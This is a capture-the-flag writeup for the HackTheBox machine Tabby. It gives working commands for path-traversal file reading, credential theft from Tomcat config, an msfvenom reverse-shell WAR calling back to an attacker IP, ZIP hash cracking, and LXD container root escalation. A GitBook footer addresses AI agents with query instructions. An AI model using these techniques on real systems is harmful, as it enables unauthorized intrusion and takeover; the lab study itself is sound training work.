> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/tabby-hackthebox-writeup.md).

# Tabby HackTheBox Writeup

Tabby HackTheBox Easy Linux machine writeup covering Local File Inclusion (LFI), Abusing Tomcat Virtual Host Manager, Abusing Tomcat Text-Based Manager - Deploy Malicious War (Curl Method), LXD Exploi

{% embed url="<https://app.hackthebox.com/machines/259>" %}

{% hint style="warning" icon="cube" %}
**Skills:**

* Local File Inclusion (LFI)
* Apache Tomcat Manager deployment
* Password reuse and LXD group abuse
  {% endhint %}

## Reconnaissance

Create a workspace for the machine.

```bash
mkdir Tabby
cd !$
mkt

settarget 10.129.5.156 Tabby
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fe7o3wiOnIyuWGYudKNWg%2Fimage.png?alt=media&amp;token=2508f754-8860-4d07-8e84-387c1d1f3986" alt=""><figcaption></figcaption></figure>

The TTL of 64 indicates a Linux target. Add the hostname to `/etc/hosts`.

```bash
ping 10.129.5.156

nano /etc/hosts
```

```bash
10.129.5.156 megahosting.htb
```

### Nmap

Scan all open TCP ports.

```bash
nmap --open -p- -sS --min-rate 5000 -vvv -n -Pn 10.129.5.156 -oG allPorts
```

* 8080
* 22
* 80

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FNYidvnlT5TihRho3e1Jq%2Fimage.png?alt=media&amp;token=f8170f59-d66b-4836-adc1-f5ed089d52b8" alt=""><figcaption></figcaption></figure>

Scan the discovered ports for service versions and default scripts.

```bash
nmap -p22,80,8080 -sCV 10.129.5.156 -oN targeted
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FFFN1PYLkEWRj8aYrz60M%2Fimage.png?alt=media&amp;token=fd9a40ce-0659-4497-b0d8-cff8b34a3739" alt=""><figcaption></figcaption></figure>

#### Port 80

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FRFtmfwN4IvKk3ch0LiaC%2Fimage.png?alt=media&amp;token=2d3830ca-53d9-4c06-adbb-b4b4de0e20d8" alt=""><figcaption></figcaption></figure>

**Local File Inclusion**

The `news.php` `file` parameter is vulnerable to Local File Inclusion (LFI).

```bash
news.php?file=../../../../../etc/passwd
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FiUsRyX98QIdn0snDGXVM%2Fimage.png?alt=media&amp;token=8f944166-9ffb-4d6b-8b87-e8720eba5d66" alt=""><figcaption></figcaption></figure>

#### Port 8080

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FlUQyzpUjxmTdgLHZLjdI%2Fimage.png?alt=media&amp;token=1bc369ec-278c-4c86-aa84-59d3a5b76ed8" alt=""><figcaption></figcaption></figure>

Tomcat 9 is installed. Its credentials are stored in:

* `/usr/share/tomcat9/etc/tomcat-users.xml`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FmpiLbVwjhTvnjMROLmNb%2Fimage.png?alt=media&amp;token=7455009c-8737-4c15-b166-10933928bd99" alt=""><figcaption></figcaption></figure>

The Tomcat panel states that `CATALINA_HOME` is `/usr/share/tomcat9`.

The full path is:

```bash
/usr/share/tomcat9/etc/tomcat-users.xml
```

Use path traversal to retrieve the Tomcat credentials.

```bash
   <user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FrSq3zmlbVTMgX6hO846q%2Fimage.png?alt=media&amp;token=f3bf9875-0e55-41c6-8613-a4574bb7d5b4" alt=""><figcaption></figcaption></figure>

Open the Tomcat Virtual Host Manager:

* <http://megahosting.htb:8080/host-manager/html>

The target runs Tomcat 9.0.31.

Sign in with the recovered credentials.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FS9iUs8Q9tWvabpP2BcFl%2Fimage.png?alt=media&amp;token=a5561753-b06a-4aff-94ba-cb1ebb504d24" alt=""><figcaption></figcaption></figure>

This reference describes another method for exploiting Tomcat through Host Manager.

{% embed url="<https://www.certilience.fr/blog/tomcat-exploit-variant-host-manager/>" %}

### Initial access

#### Create a WAR file

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.15.2 LPORT=443 -f war -o reverse.war
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FQT6XSrd1vJYwQyGbg46Y%2Fimage.png?alt=media&amp;token=8f7a89d1-6bd5-4c9b-a03b-99eadd3fae5e" alt=""><figcaption></figcaption></figure>

#### Deploy the WAR file

Deploy the WAR file with `curl`:

{% code overflow="wrap" %}

```bash
curl -s -u 'tomcat:$3cureP4s5w0rd123!' "http://megahosting.htb:8080/manager/text/deploy?path=/reverse" --upload-file reverse.war
```

{% endcode %}

#### Trigger the reverse shell

Listen on port `443`:

{% code overflow="wrap" %}

```bash
sudo nc -nlvp 443
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F6oo9OWKTTOYYby5Snne9%2Fimage.png?alt=media&amp;token=607152a6-9057-4a5f-9809-e0d35a435f24" alt=""><figcaption></figcaption></figure>

Browse to <http://megahosting.htb:8080/reverse> to trigger the reverse shell.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FYk78JZXeLHegyRP4yRM1%2Fimage.png?alt=media&amp;token=be1a0929-bcd5-4d48-ac5e-e7dc26e1eee5" alt=""><figcaption></figcaption></figure>

#### Stabilize the TTY

{% code overflow="wrap" %}

```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Then press Ctrl+Z.
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

{% endcode %}

### Privilege escalation

#### Inspect the web directory

Inspect `/var/www/html`. The `files` directory contains `16162020_backup.zip`.

Serve the archive from the target:

```bash
python3 -m http.server 655
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0b42f71ed53d7577072e50b9f927440f20a657f9%2F%7BCF8C7E91-3503-4E8C-9C9C-EEA6AABC5318%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Download it from your machine:

```bash
wget http://megahosting.htb:655/files/16162020_backup.zip
```

#### Crack the ZIP archive

The ZIP archive is password-protected.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1d861a249334e612eba764a2de0f6f6d8182ca81%2Fimage%20(1148).png?alt=media" alt=""><figcaption></figcaption></figure>

Extract its hash with `zip2john`:

```bash
zip2john 16162020_backup.zip > hash
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-57d6e51ba4357812cdd5f8e6922fcc41165b98e0%2Fimage%20(1149).png?alt=media" alt=""><figcaption></figcaption></figure>

Crack the hash with `john`:

```bash
john -w:/usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt hash
```

The recovered password is `admin@it`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-71a32556046620757b2a656ebafb1c3ca636e970%2Fimage%20(1150).png?alt=media" alt=""><figcaption></figcaption></figure>

Use the password to extract and inspect the archive.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5e80250cedf41dd12c28b912f55c7a4c2c21ca36%2Fimage%20(1151).png?alt=media" alt=""><figcaption></figcaption></figure>

Extraction creates a `var` directory with few useful files. However, `admin@it` also authenticates as `ash` on the target.

```bash
ssh ash@megahosting.htb
```

#### User flag

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-87acfee797cc93fb20e49b1c7ac693103b42274a%2Fimage%20(1152).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Exploit LXD group membership

The `ash` user belongs to the `lxd` group. This allows LXC to be abused for root access.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9705e73b57e329be72a44a941f0cb52703b0cd36%2Fimage%20(2387).png?alt=media" alt=""><figcaption></figcaption></figure>

LXD group membership allows a privileged container to mount the host filesystem.

#### Import an Alpine image

Build or download an Alpine LXD image on your machine. Serve the image:

```bash
python3 -m http.server 80
```

Download and import the image on the target:

```bash
cd /tmp
wget http://10.10.14.7/alpine-v3.13-x86_64-20210218_0139.tar.gz
export PATH=$PATH:/snap/bin
lxc image import alpine-v3.13-x86_64-20210218_0139.tar.gz --alias alpine
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-540e2b13308667b9bc5cd005c265b775ca77771d%2F%7B1C54AE33-E047-4798-8C04-ACDA4DDA239B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Create a privileged container and mount the host root filesystem:

```bash
lxc init alpine privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc /bin/sh
```

The target root filesystem is now available at `/mnt/root`.

```bash
cat /mnt/root/root/root.txt
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ef4fa49ac28e96d5aad86d762b8b27d6453f2408%2F%7B40FA85B2-C6C6-42B7-BA8B-3E519C7A01F9%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-19d04b668b9fefbfb85585d0d9bed8131fed29c5%2Fimage%20(2388).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Root flag

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f973c1d44285c1d324b1475c66a3f1adb6df52f1%2Fimage%20(2389).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/tabby-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
